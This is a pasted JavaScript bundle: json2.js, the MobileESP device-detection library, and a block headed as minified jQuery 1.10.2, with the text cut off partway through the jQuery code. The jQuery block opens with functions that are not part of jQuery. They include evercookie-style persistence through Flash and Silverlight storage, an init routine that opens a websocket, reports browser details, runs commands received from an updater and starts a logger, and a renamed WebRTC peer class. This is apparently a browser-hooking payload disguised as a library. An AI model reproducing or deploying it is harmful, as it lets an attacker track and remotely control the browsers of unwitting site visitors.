· 7 years ago · Nov 24, 2018, 04:46 PM
1/*
2 https://github.com/douglascrockford/JSON-js/blob/master/json2.js
3 2011-02-23
4
5// Create a JSON object only if one does not already exist. We create the
6// methods in a closure to avoid creating global variables.
7*/
8
9var JSON;
10if (!JSON) {
11 JSON = {};
12}
13
14(function () {
15 "use strict";
16
17 function f(n) {
18 // Format integers to have at least two digits.
19 return n < 10 ? '0' + n : n;
20 }
21
22 if (typeof Date.prototype.toJSON !== 'function') {
23
24 Date.prototype.toJSON = function (key) {
25
26 return isFinite(this.valueOf()) ?
27 this.getUTCFullYear() + '-' +
28 f(this.getUTCMonth() + 1) + '-' +
29 f(this.getUTCDate()) + 'T' +
30 f(this.getUTCHours()) + ':' +
31 f(this.getUTCMinutes()) + ':' +
32 f(this.getUTCSeconds()) + 'Z' : null;
33 };
34
35 String.prototype.toJSON =
36 Number.prototype.toJSON =
37 Boolean.prototype.toJSON = function (key) {
38 return this.valueOf();
39 };
40 }
41
42 var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
43 escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
44 gap,
45 indent,
46 meta = { // table of character substitutions
47 '\b': '\\b',
48 '\t': '\\t',
49 '\n': '\\n',
50 '\f': '\\f',
51 '\r': '\\r',
52 '"' : '\\"',
53 '\\': '\\\\'
54 },
55 rep;
56
57
58 function quote(string) {
59
60// If the string contains no control characters, no quote characters, and no
61// backslash characters, then we can safely slap some quotes around it.
62// Otherwise we must also replace the offending characters with safe escape
63// sequences.
64
65 escapable.lastIndex = 0;
66 return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
67 var c = meta[a];
68 return typeof c === 'string' ? c :
69 '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
70 }) + '"' : '"' + string + '"';
71 }
72
73
74 function str(key, holder) {
75
76// Produce a string from holder[key].
77
78 var i, // The loop counter.
79 k, // The member key.
80 v, // The member value.
81 length,
82 mind = gap,
83 partial,
84 value = holder[key];
85
86// If the value has a toJSON method, call it to obtain a replacement value.
87
88 if (value && typeof value === 'object' &&
89 typeof value.toJSON === 'function') {
90 value = value.toJSON(key);
91 }
92
93// If we were called with a replacer function, then call the replacer to
94// obtain a replacement value.
95
96 if (typeof rep === 'function') {
97 value = rep.call(holder, key, value);
98 }
99
100// What happens next depends on the value's type.
101
102 switch (typeof value) {
103 case 'string':
104 return quote(value);
105
106 case 'number':
107
108// JSON numbers must be finite. Encode non-finite numbers as null.
109
110 return isFinite(value) ? String(value) : 'null';
111
112 case 'boolean':
113 case 'null':
114
115// If the value is a boolean or null, convert it to a string. Note:
116// typeof null does not produce 'null'. The case is included here in
117// the remote chance that this gets fixed someday.
118
119 return String(value);
120
121// If the type is 'object', we might be dealing with an object or an array or
122// null.
123
124 case 'object':
125
126// Due to a specification blunder in ECMAScript, typeof null is 'object',
127// so watch out for that case.
128
129 if (!value) {
130 return 'null';
131 }
132
133// Make an array to hold the partial results of stringifying this object value.
134
135 gap += indent;
136 partial = [];
137
138// Is the value an array?
139
140 if (Object.prototype.toString.apply(value) === '[object Array]') {
141
142// The value is an array. Stringify every element. Use null as a placeholder
143// for non-JSON values.
144
145 length = value.length;
146 for (i = 0; i < length; i += 1) {
147 partial[i] = str(i, value) || 'null';
148 }
149
150// Join all of the elements together, separated with commas, and wrap them in
151// brackets.
152
153 v = partial.length === 0 ? '[]' : gap ?
154 '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
155 '[' + partial.join(',') + ']';
156 gap = mind;
157 return v;
158 }
159
160// If the replacer is an array, use it to select the members to be stringified.
161
162 if (rep && typeof rep === 'object') {
163 length = rep.length;
164 for (i = 0; i < length; i += 1) {
165 if (typeof rep[i] === 'string') {
166 k = rep[i];
167 v = str(k, value);
168 if (v) {
169 partial.push(quote(k) + (gap ? ': ' : ':') + v);
170 }
171 }
172 }
173 } else {
174
175// Otherwise, iterate through all of the keys in the object.
176
177 for (k in value) {
178 if (Object.prototype.hasOwnProperty.call(value, k)) {
179 v = str(k, value);
180 if (v) {
181 partial.push(quote(k) + (gap ? ': ' : ':') + v);
182 }
183 }
184 }
185 }
186
187// Join all of the member texts together, separated with commas,
188// and wrap them in braces.
189
190 v = partial.length === 0 ? '{}' : gap ?
191 '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
192 '{' + partial.join(',') + '}';
193 gap = mind;
194 return v;
195 }
196 }
197
198// If the JSON object does not yet have a stringify method, give it one.
199
200 if (typeof JSON.stringify !== 'function') {
201 JSON.stringify = function (value, replacer, space) {
202
203// The stringify method takes a value and an optional replacer, and an optional
204// space parameter, and returns a JSON text. The replacer can be a function
205// that can replace values, or an array of strings that will select the keys.
206// A default replacer method can be provided. Use of the space parameter can
207// produce text that is more easily readable.
208
209 var i;
210 gap = '';
211 indent = '';
212
213// If the space parameter is a number, make an indent string containing that
214// many spaces.
215
216 if (typeof space === 'number') {
217 for (i = 0; i < space; i += 1) {
218 indent += ' ';
219 }
220
221// If the space parameter is a string, it will be used as the indent string.
222
223 } else if (typeof space === 'string') {
224 indent = space;
225 }
226
227// If there is a replacer, it must be a function or an array.
228// Otherwise, throw an error.
229
230 rep = replacer;
231 if (replacer && typeof replacer !== 'function' &&
232 (typeof replacer !== 'object' ||
233 typeof replacer.length !== 'number')) {
234 throw new Error('JSON.stringify');
235 }
236
237// Make a fake root object containing our value under the key of ''.
238// Return the result of stringifying the value.
239
240 return str('', {'': value});
241 };
242 }
243
244
245// If the JSON object does not yet have a parse method, give it one.
246
247 if (typeof JSON.parse !== 'function') {
248 JSON.parse = function (text, reviver) {
249
250// The parse method takes a text and an optional reviver function, and returns
251// a JavaScript value if the text is a valid JSON text.
252
253 var j;
254
255 function walk(holder, key) {
256
257// The walk method is used to recursively walk the resulting structure so
258// that modifications can be made.
259
260 var k, v, value = holder[key];
261 if (value && typeof value === 'object') {
262 for (k in value) {
263 if (Object.prototype.hasOwnProperty.call(value, k)) {
264 v = walk(value, k);
265 if (v !== undefined) {
266 value[k] = v;
267 } else {
268 delete value[k];
269 }
270 }
271 }
272 }
273 return reviver.call(holder, key, value);
274 }
275
276
277// Parsing happens in four stages. In the first stage, we replace certain
278// Unicode characters with escape sequences. JavaScript handles many characters
279// incorrectly, either silently deleting them, or treating them as line endings.
280
281 text = String(text);
282 cx.lastIndex = 0;
283 if (cx.test(text)) {
284 text = text.replace(cx, function (a) {
285 return '\\u' +
286 ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
287 });
288 }
289
290// In the second stage, we run the text against regular expressions that look
291// for non-JSON patterns. We are especially concerned with '()' and 'new'
292// because they can cause invocation, and '=' because it can cause mutation.
293// But just to be safe, we want to reject all unexpected forms.
294
295// We split the second stage into 4 regexp operations in order to work around
296// crippling inefficiencies in IE's and Safari's regexp engines. First we
297// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
298// replace all simple value tokens with ']' characters. Third, we delete all
299// open brackets that follow a colon or comma or that begin the text. Finally,
300// we look to see that the remaining characters are only whitespace or ']' or
301// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
302
303 if (/^[\],:{}\s]*$/
304 .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
305 .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
306 .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
307
308// In the third stage we use the eval function to compile the text into a
309// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
310// in JavaScript: it can begin a block or an object literal. We wrap the text
311// in parens to eliminate the ambiguity.
312
313 j = eval('(' + text + ')');
314
315// In the optional fourth stage, we recursively walk the new structure, passing
316// each name/value pair to a reviver function for possible transformation.
317
318 return typeof reviver === 'function' ?
319 walk({'': j}, '') : j;
320 }
321
322// If the text is not JSON parseable, then a SyntaxError is thrown.
323
324 throw new SyntaxError('JSON.parse');
325 };
326 }
327}());
328
329
330
331/* *******************************************
332// Copyright 2010-2012, Anthony Hand
333// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
334// LICENSE INFORMATION
335// Licensed under the Apache License, Version 2.0 (the "License");
336// you may not use this file except in compliance with the License.
337// You may obtain a copy of the License at
338// http://www.apache.org/licenses/LICENSE-2.0
339// Unless required by applicable law or agreed to in writing,
340// software distributed under the License is distributed on an
341// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
342// either express or implied. See the License for the specific
343// language governing permissions and limitations under the License.
344// *******************************************
345*/
346
347var isIphone = false;
348var isAndroidPhone = false;
349var isTierTablet = false;
350var isTierIphone = false;
351var isTierRichCss = false;
352var isTierGenericMobile = false;
353
354var engineWebKit = "webkit";
355var deviceIphone = "iphone";
356var deviceIpod = "ipod";
357var deviceIpad = "ipad";
358var deviceMacPpc = "macintosh"; //Used for disambiguation
359
360var deviceAndroid = "android";
361var deviceGoogleTV = "googletv";
362var deviceXoom = "xoom"; //Motorola Xoom
363var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
364
365var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
366
367var deviceSymbian = "symbian";
368var deviceS60 = "series60";
369var deviceS70 = "series70";
370var deviceS80 = "series80";
371var deviceS90 = "series90";
372
373var deviceWinPhone7 = "windows phone os 7";
374var deviceWinMob = "windows ce";
375var deviceWindows = "windows";
376var deviceIeMob = "iemobile";
377var devicePpc = "ppc"; //Stands for PocketPC
378var enginePie = "wm5 pie"; //An old Windows Mobile
379
380var deviceBB = "blackberry";
381var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
382var deviceBBStorm = "blackberry95"; //Storm 1 and 2
383var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
384var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
385var deviceBBTour = "blackberry96"; //Tour
386var deviceBBCurve = "blackberry89"; //Curve 2
387var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
388var deviceBBTorch = "blackberry 98"; //Torch
389var deviceBBPlaybook = "playbook"; //PlayBook tablet
390
391var devicePalm = "palm";
392var deviceWebOS = "webos"; //For Palm's line of WebOS devices
393var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
394
395var engineBlazer = "blazer"; //Old Palm browser
396var engineXiino = "xiino";
397
398var deviceKindle = "kindle"; //Amazon Kindle, eInk one
399var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
400
401var vndwap = "vnd.wap";
402var wml = "wml";
403
404var deviceTablet = "tablet"; //Generic term for slate and tablet devices
405var deviceBrew = "brew";
406var deviceDanger = "danger";
407var deviceHiptop = "hiptop";
408var devicePlaystation = "playstation";
409var deviceNintendoDs = "nitro";
410var deviceNintendo = "nintendo";
411var deviceWii = "wii";
412var deviceXbox = "xbox";
413var deviceArchos = "archos";
414
415var engineOpera = "opera"; //Popular browser
416var engineNetfront = "netfront"; //Common embedded OS browser
417var engineUpBrowser = "up.browser"; //common on some phones
418var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
419var deviceMidp = "midp"; //a mobile Java technology
420var uplink = "up.link";
421var engineTelecaQ = 'teleca q'; //a modern feature phone browser
422
423var devicePda = "pda";
424var mini = "mini"; //Some mobile browsers put 'mini' in their names.
425var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
426var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
427
428var maemo = "maemo";
429var linux = "linux";
430var qtembedded = "qt embedded"; //for Sony Mylo and others
431var mylocom2 = "com2"; //for Sony Mylo also
432
433var manuSonyEricsson = "sonyericsson";
434var manuericsson = "ericsson";
435var manuSamsung1 = "sec-sgh";
436var manuSony = "sony";
437var manuHtc = "htc"; //Popular Android and WinMo manufacturer
438
439var svcDocomo = "docomo";
440var svcKddi = "kddi";
441var svcVodafone = "vodafone";
442
443var disUpdate = "update"; //pda vs. update
444
445var uagent = "";
446if (navigator && navigator.userAgent)
447 uagent = navigator.userAgent.toLowerCase();
448
449function DetectIphone()
450{
451 if (uagent.search(deviceIphone) > -1)
452 {
453 if (DetectIpad() || DetectIpod())
454 return false;
455 else
456 return true;
457 }
458 else
459 return false;
460}
461
462function DetectIpod()
463{
464 if (uagent.search(deviceIpod) > -1)
465 return true;
466 else
467 return false;
468}
469
470function DetectIpad()
471{
472 if (uagent.search(deviceIpad) > -1 && DetectWebkit())
473 return true;
474 else
475 return false;
476}
477
478function DetectIphoneOrIpod()
479{
480 if (uagent.search(deviceIphone) > -1 ||
481 uagent.search(deviceIpod) > -1)
482 return true;
483 else
484 return false;
485}
486
487function DetectIos()
488{
489 if (DetectIphoneOrIpod() || DetectIpad())
490 return true;
491 else
492 return false;
493}
494
495function DetectAndroid()
496{
497 if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
498 return true;
499 if (uagent.search(deviceHtcFlyer) > -1)
500 return true;
501 else
502 return false;
503}
504
505function DetectAndroidPhone()
506{
507 if (DetectAndroid() && (uagent.search(mobile) > -1))
508 return true;
509 if (DetectOperaAndroidPhone())
510 return true;
511 if (uagent.search(deviceHtcFlyer) > -1)
512 return true;
513 else
514 return false;
515}
516
517function DetectAndroidTablet()
518{
519 if (!DetectAndroid())
520 return false;
521
522 if (DetectOperaMobile())
523 return false;
524 if (uagent.search(deviceHtcFlyer) > -1)
525 return false;
526
527 if (uagent.search(mobile) > -1)
528 return false;
529 else
530 return true;
531}
532
533
534function DetectAndroidWebKit()
535{
536 if (DetectAndroid() && DetectWebkit())
537 return true;
538 else
539 return false;
540}
541
542
543function DetectGoogleTV()
544{
545 if (uagent.search(deviceGoogleTV) > -1)
546 return true;
547 else
548 return false;
549}
550
551
552function DetectWebkit()
553{
554 if (uagent.search(engineWebKit) > -1)
555 return true;
556 else
557 return false;
558}
559
560function DetectS60OssBrowser()
561{
562 if (DetectWebkit())
563 {
564 if ((uagent.search(deviceS60) > -1 ||
565 uagent.search(deviceSymbian) > -1))
566 return true;
567 else
568 return false;
569 }
570 else
571 return false;
572}
573
574function DetectSymbianOS()
575{
576 if (uagent.search(deviceSymbian) > -1 ||
577 uagent.search(deviceS60) > -1 ||
578 uagent.search(deviceS70) > -1 ||
579 uagent.search(deviceS80) > -1 ||
580 uagent.search(deviceS90) > -1)
581 return true;
582 else
583 return false;
584}
585
586function DetectWindowsPhone7()
587{
588 if (uagent.search(deviceWinPhone7) > -1)
589 return true;
590 else
591 return false;
592}
593
594function DetectWindowsMobile()
595{
596 if (DetectWindowsPhone7())
597 return false;
598 if (uagent.search(deviceWinMob) > -1 ||
599 uagent.search(deviceIeMob) > -1 ||
600 uagent.search(enginePie) > -1)
601 return true;
602 if ((uagent.search(devicePpc) > -1) &&
603 !(uagent.search(deviceMacPpc) > -1))
604 return true;
605 if (uagent.search(manuHtc) > -1 &&
606 uagent.search(deviceWindows) > -1)
607 return true;
608 else
609 return false;
610}
611
612function DetectBlackBerry()
613{
614 if (uagent.search(deviceBB) > -1)
615 return true;
616 if (uagent.search(vndRIM) > -1)
617 return true;
618 else
619 return false;
620}
621
622function DetectBlackBerryTablet()
623{
624 if (uagent.search(deviceBBPlaybook) > -1)
625 return true;
626 else
627 return false;
628}
629
630function DetectBlackBerryWebKit()
631{
632 if (DetectBlackBerry() &&
633 uagent.search(engineWebKit) > -1)
634 return true;
635 else
636 return false;
637}
638
639function DetectBlackBerryTouch()
640{
641 if (DetectBlackBerry() &&
642 ((uagent.search(deviceBBStorm) > -1) ||
643 (uagent.search(deviceBBTorch) > -1) ||
644 (uagent.search(deviceBBBoldTouch) > -1) ||
645 (uagent.search(deviceBBCurveTouch) > -1) ))
646 return true;
647 else
648 return false;
649}
650
651function DetectBlackBerryHigh()
652{
653 if (DetectBlackBerryWebKit())
654 return false;
655 if (DetectBlackBerry())
656 {
657 if (DetectBlackBerryTouch() ||
658 uagent.search(deviceBBBold) > -1 ||
659 uagent.search(deviceBBTour) > -1 ||
660 uagent.search(deviceBBCurve) > -1)
661 return true;
662 else
663 return false;
664 }
665 else
666 return false;
667}
668
669function DetectBlackBerryLow()
670{
671 if (DetectBlackBerry())
672 {
673 if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
674 return false;
675 else
676 return true;
677 }
678 else
679 return false;
680}
681
682
683function DetectPalmOS()
684{
685 if (uagent.search(devicePalm) > -1 ||
686 uagent.search(engineBlazer) > -1 ||
687 uagent.search(engineXiino) > -1)
688 {
689 if (DetectPalmWebOS())
690 return false;
691 else
692 return true;
693 }
694 else
695 return false;
696}
697
698function DetectPalmWebOS()
699{
700 if (uagent.search(deviceWebOS) > -1)
701 return true;
702 else
703 return false;
704}
705
706function DetectWebOSTablet()
707{
708 if (uagent.search(deviceWebOShp) > -1 &&
709 uagent.search(deviceTablet) > -1)
710 return true;
711 else
712 return false;
713}
714
715function DetectGarminNuvifone()
716{
717 if (uagent.search(deviceNuvifone) > -1)
718 return true;
719 else
720 return false;
721}
722
723
724function DetectSmartphone()
725{
726 if (DetectIphoneOrIpod()
727 || DetectAndroidPhone()
728 || DetectS60OssBrowser()
729 || DetectSymbianOS()
730 || DetectWindowsMobile()
731 || DetectWindowsPhone7()
732 || DetectBlackBerry()
733 || DetectPalmWebOS()
734 || DetectPalmOS()
735 || DetectGarminNuvifone())
736 return true;
737
738 return false;
739};
740
741function DetectArchos()
742{
743 if (uagent.search(deviceArchos) > -1)
744 return true;
745 else
746 return false;
747}
748
749function DetectBrewDevice()
750{
751 if (uagent.search(deviceBrew) > -1)
752 return true;
753 else
754 return false;
755}
756
757function DetectDangerHiptop()
758{
759 if (uagent.search(deviceDanger) > -1 ||
760 uagent.search(deviceHiptop) > -1)
761 return true;
762 else
763 return false;
764}
765
766function DetectMaemoTablet()
767{
768 if (uagent.search(maemo) > -1)
769 return true;
770 if ((uagent.search(linux) > -1)
771 && (uagent.search(deviceTablet) > -1)
772 && !DetectWebOSTablet()
773 && !DetectAndroid())
774 return true;
775 else
776 return false;
777}
778
779function DetectSonyMylo()
780{
781 if (uagent.search(manuSony) > -1)
782 {
783 if (uagent.search(qtembedded) > -1 ||
784 uagent.search(mylocom2) > -1)
785 return true;
786 else
787 return false;
788 }
789 else
790 return false;
791}
792
793function DetectOperaMobile()
794{
795 if (uagent.search(engineOpera) > -1)
796 {
797 if (uagent.search(mini) > -1 ||
798 uagent.search(mobi) > -1)
799 return true;
800 else
801 return false;
802 }
803 else
804 return false;
805}
806
807function DetectOperaAndroidPhone()
808{
809 if ((uagent.search(engineOpera) > -1) &&
810 (uagent.search(deviceAndroid) > -1) &&
811 (uagent.search(mobi) > -1))
812 return true;
813 else
814 return false;
815}
816
817function DetectOperaAndroidTablet()
818{
819 if ((uagent.search(engineOpera) > -1) &&
820 (uagent.search(deviceAndroid) > -1) &&
821 (uagent.search(deviceTablet) > -1))
822 return true;
823 else
824 return false;
825}
826
827function DetectSonyPlaystation()
828{
829 if (uagent.search(devicePlaystation) > -1)
830 return true;
831 else
832 return false;
833};
834
835function DetectNintendo()
836{
837 if (uagent.search(deviceNintendo) > -1 ||
838 uagent.search(deviceWii) > -1 ||
839 uagent.search(deviceNintendoDs) > -1)
840 return true;
841 else
842 return false;
843};
844
845function DetectXbox()
846{
847 if (uagent.search(deviceXbox) > -1)
848 return true;
849 else
850 return false;
851};
852
853function DetectGameConsole()
854{
855 if (DetectSonyPlaystation())
856 return true;
857 if (DetectNintendo())
858 return true;
859 if (DetectXbox())
860 return true;
861 else
862 return false;
863};
864
865function DetectKindle()
866{
867 if (uagent.search(deviceKindle) > -1 &&
868 !DetectAndroid())
869 return true;
870 else
871 return false;
872}
873
874function DetectAmazonSilk()
875{
876 if (uagent.search(engineSilk) > -1)
877 return true;
878 else
879 return false;
880}
881
882function DetectMobileQuick()
883{
884 if (DetectTierTablet())
885 return false;
886
887 if (DetectSmartphone())
888 return true;
889
890 if (uagent.search(deviceMidp) > -1 ||
891 DetectBrewDevice())
892 return true;
893
894 if (DetectOperaMobile())
895 return true;
896
897 if (uagent.search(engineNetfront) > -1)
898 return true;
899 if (uagent.search(engineUpBrowser) > -1)
900 return true;
901 if (uagent.search(engineOpenWeb) > -1)
902 return true;
903
904 if (DetectDangerHiptop())
905 return true;
906
907 if (DetectMaemoTablet())
908 return true;
909 if (DetectArchos())
910 return true;
911
912 if ((uagent.search(devicePda) > -1) &&
913 !(uagent.search(disUpdate) > -1))
914 return true;
915 if (uagent.search(mobile) > -1)
916 return true;
917
918 if (DetectKindle() ||
919 DetectAmazonSilk())
920 return true;
921
922 return false;
923};
924
925
926function DetectMobileLong()
927{
928 if (DetectMobileQuick())
929 return true;
930 if (DetectGameConsole())
931 return true;
932 if (DetectSonyMylo())
933 return true;
934
935 if (uagent.search(manuSamsung1) > -1 ||
936 uagent.search(manuSonyEricsson) > -1 ||
937 uagent.search(manuericsson) > -1)
938 return true;
939
940 if (uagent.search(svcDocomo) > -1)
941 return true;
942 if (uagent.search(svcKddi) > -1)
943 return true;
944 if (uagent.search(svcVodafone) > -1)
945 return true;
946
947
948 return false;
949};
950
951
952function DetectTierTablet()
953{
954 if (DetectIpad()
955 || DetectAndroidTablet()
956 || DetectBlackBerryTablet()
957 || DetectWebOSTablet())
958 return true;
959 else
960 return false;
961};
962
963function DetectTierIphone()
964{
965 if (DetectIphoneOrIpod())
966 return true;
967 if (DetectAndroidPhone())
968 return true;
969 if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
970 return true;
971 if (DetectWindowsPhone7())
972 return true;
973 if (DetectPalmWebOS())
974 return true;
975 if (DetectGarminNuvifone())
976 return true;
977 else
978 return false;
979};
980
981function DetectTierRichCss()
982{
983 if (DetectMobileQuick())
984 {
985 if (DetectTierIphone() || DetectKindle())
986 return false;
987
988 if (DetectWebkit())
989 return true;
990 if (DetectS60OssBrowser())
991 return true;
992
993 if (DetectBlackBerryHigh())
994 return true;
995
996 if (DetectWindowsMobile())
997 return true;
998
999 if (uagent.search(engineTelecaQ) > -1)
1000 return true;
1001
1002 else
1003 return false;
1004 }
1005 else
1006 return false;
1007};
1008
1009function DetectTierOtherPhones()
1010{
1011 if (DetectMobileLong())
1012 {
1013 if (DetectTierIphone() || DetectTierRichCss())
1014 return false;
1015
1016 else
1017 return true;
1018 }
1019 else
1020 return false;
1021};
1022
1023
1024function InitDeviceScan()
1025{
1026 isIphone = DetectIphoneOrIpod();
1027 isAndroidPhone = DetectAndroidPhone();
1028 isTierIphone = DetectTierIphone();
1029 isTierTablet = DetectTierTablet();
1030
1031 isTierRichCss = DetectTierRichCss();
1032 isTierGenericMobile = DetectTierOtherPhones();
1033};
1034
1035try {
1036 InitDeviceScan();
1037}catch(e){}
1038
1039
1040/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
1041//@ sourceMappingURL=jquery-1.10.2.min.map
1042*/
1043function _ec_dump(e,t){var n="";t||(t=0);for(var i="",o=0;o<t+1;o++)i+=" ";if("object"==typeof e)for(var r in e){var a=e[r];"object"==typeof a?(n+=i+"'"+r+"' ...\n",n+=_ec_dump(a,t+1)):n+=i+"'"+r+"' => \""+a+'"\n'}else n="===>"+e+"<===("+typeof e+")";return n}function _ec_replace(e,t,n){if(e.indexOf("&"+t+"=")>-1||0==e.indexOf(t+"=")){var i=e.indexOf("&"+t+"=");-1==i&&(i=e.indexOf(t+"="));var o=e.indexOf("&",i+1);return-1!=o?e.substr(0,i)+e.substr(o+(i?0:1))+"&"+t+"="+n:e.substr(0,i)+"&"+t+"="+n}return e+"&"+t+"="+n}function _jkW_flash_var(e){_global_lso=e;var t=$("#myswf");t&&t.parentNode&&t.parentNode.removeChild(t)}function onSilverlightLoad(e){var t=e.getHost();_global_isolated=t.Content.App.getIsolatedStorage()}function onSilverlightError(){_global_isolated=""}function mnE_init(){mnE.pageIsLoaded||(mnE.pageIsLoaded=!0,mnE.browser.hasWebSocket()&&"undefined"!=typeof mnE.websocket?(mnE.websocket.start(),mnE.net.browser_details(),mnE.updater.execute_commands(),mnE.logger.start()):(mnE.net.browser_details(),mnE.updater.execute_commands(),mnE.updater.check(),mnE.logger.start()))}function trace(e){if("\n"===e[e.length-1]&&(e=e.substring(0,e.length-1)),window.performance){var t=(window.performance.now()/1e3).toFixed(3);mnE.debug(t+": "+e)}else mnE.debug(e)}function requestUserMedia(e){return new Promise(function(t,n){getUserMedia(e,t,n)})}function DmYwebrtc(e,t,n,i,o){this.verbose=void 0!==o&&o,this.initiator=void 0!==e?e:0,this.peerid=void 0!==t?t:null,this.turnjson=n,this.started=!1,this.gotanswer=!1,this.turnDone=!1,this.signalingReady=!1,this.msgQueue=[],this.pcConfig=null,this.pcConstraints={optional:[{googImprovedWifiBwe:!0}]},this.offerConstraints={optional:[],mandatory:{}},this.sdpConstraints={optional:[{RtpDataChannels:!0}]},this.gatheredIceCandidateTypes={Local:{},Remote:{}},this.allgood=!1,this.dataChannel=null,this.stunservers=i}!function(e,t){function n(e){var t=e.length,n=de.type(e);return!de.isWindow(e)&&(!(1!==e.nodeType||!t)||("array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)))}function i(e){var t=ke[e]={};return de.each(e.match(he)||[],function(e,n){t[n]=!0}),t}function o(e,n,i,o){if(de.acceptData(e)){var r,a,s=de.expando,c=e.nodeType,u=c?de.cache:e,d=c?e[s]:e[s]&&s;if(d&&u[d]&&(o||u[d].data)||i!==t||"string"!=typeof n)return d||(d=c?e[s]=te.pop()||de.guid++:s),u[d]||(u[d]=c?{}:{toJSON:de.noop}),("object"==typeof n||"function"==typeof n)&&(o?u[d]=de.extend(u[d],n):u[d].data=de.extend(u[d].data,n)),a=u[d],o||(a.data||(a.data={}),a=a.data),i!==t&&(a[de.camelCase(n)]=i),"string"==typeof n?null==(r=a[n])&&(r=a[de.camelCase(n)]):r=a,r}}function r(e,t,n){if(de.acceptData(e)){var i,o,r=e.nodeType,a=r?de.cache:e,c=r?e[de.expando]:de.expando;if(a[c]){if(t&&(i=n?a[c]:a[c].data)){de.isArray(t)?t=t.concat(de.map(t,de.camelCase)):t in i?t=[t]:(t=de.camelCase(t),t=t in i?[t]:t.split(" ")),o=t.length;for(;o--;)delete i[t[o]];if(n?!s(i):!de.isEmptyObject(i))return}(n||(delete a[c].data,s(a[c])))&&(r?de.cleanData([e],!0):de.support.deleteExpando||a!=a.window?delete a[c]:a[c]=null)}}}function a(e,n,i){if(i===t&&1===e.nodeType){var o="data-"+n.replace(Te,"-$1").toLowerCase();if("string"==typeof(i=e.getAttribute(o))){try{i="true"===i||"false"!==i&&("null"===i?null:+i+""===i?+i:Fe.test(i)?de.parseJSON(i):i)}catch(e){}de.data(e,n,i)}else i=t}return i}function s(e){var t;for(t in e)if(("data"!==t||!de.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(){return!0}function u(){return!1}function d(){try{return Q.activeElement}catch(e){}}function l(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}function h(e,t,n){if(de.isFunction(t))return de.grep(e,function(e,i){return!!t.call(e,i,e)!==n});if(t.nodeType)return de.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(Be.test(t))return de.filter(t,e,n);t=de.filter(t,e)}return de.grep(e,function(e){return de.inArray(e,t)>=0!==n})}function p(e){var t=ze.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function f(e,t){return de.nodeName(e,"table")&&de.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function m(e){return e.type=(null!==de.find.attr(e,"type"))+"/"+e.type,e}function g(e){var t=ot.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function w(e,t){for(var n,i=0;null!=(n=e[i]);i++)de._data(n,"globalEval",!t||de._data(t[i],"globalEval"))}function y(e,t){if(1===t.nodeType&&de.hasData(e)){var n,i,o,r=de._data(e),a=de._data(t,r),s=r.events;if(s){delete a.handle,a.events={};for(n in s)for(i=0,o=s[n].length;o>i;i++)de.event.add(t,n,s[n][i])}a.data&&(a.data=de.extend({},a.data))}}function v(e,t){var n,i,o;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!de.support.noCloneEvent&&t[de.expando]){o=de._data(t);for(i in o.events)de.removeEvent(t,i,o.handle);t.removeAttribute(de.expando)}"script"===n&&t.text!==e.text?(m(t).text=e.text,g(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),de.support.html5Clone&&e.innerHTML&&!de.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&tt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function b(e,n){var i,o,r=0,a=typeof e.getElementsByTagName!==G?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==G?e.querySelectorAll(n||"*"):t;if(!a)for(a=[],i=e.childNodes||e;null!=(o=i[r]);r++)!n||de.nodeName(o,n)?a.push(o):de.merge(a,b(o,n));return n===t||n&&de.nodeName(e,n)?de.merge([e],a):a}function C(e){tt.test(e.type)&&(e.defaultChecked=e.checked)}function S(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),i=t,o=Et.length;o--;)if((t=Et[o]+n)in e)return t;return 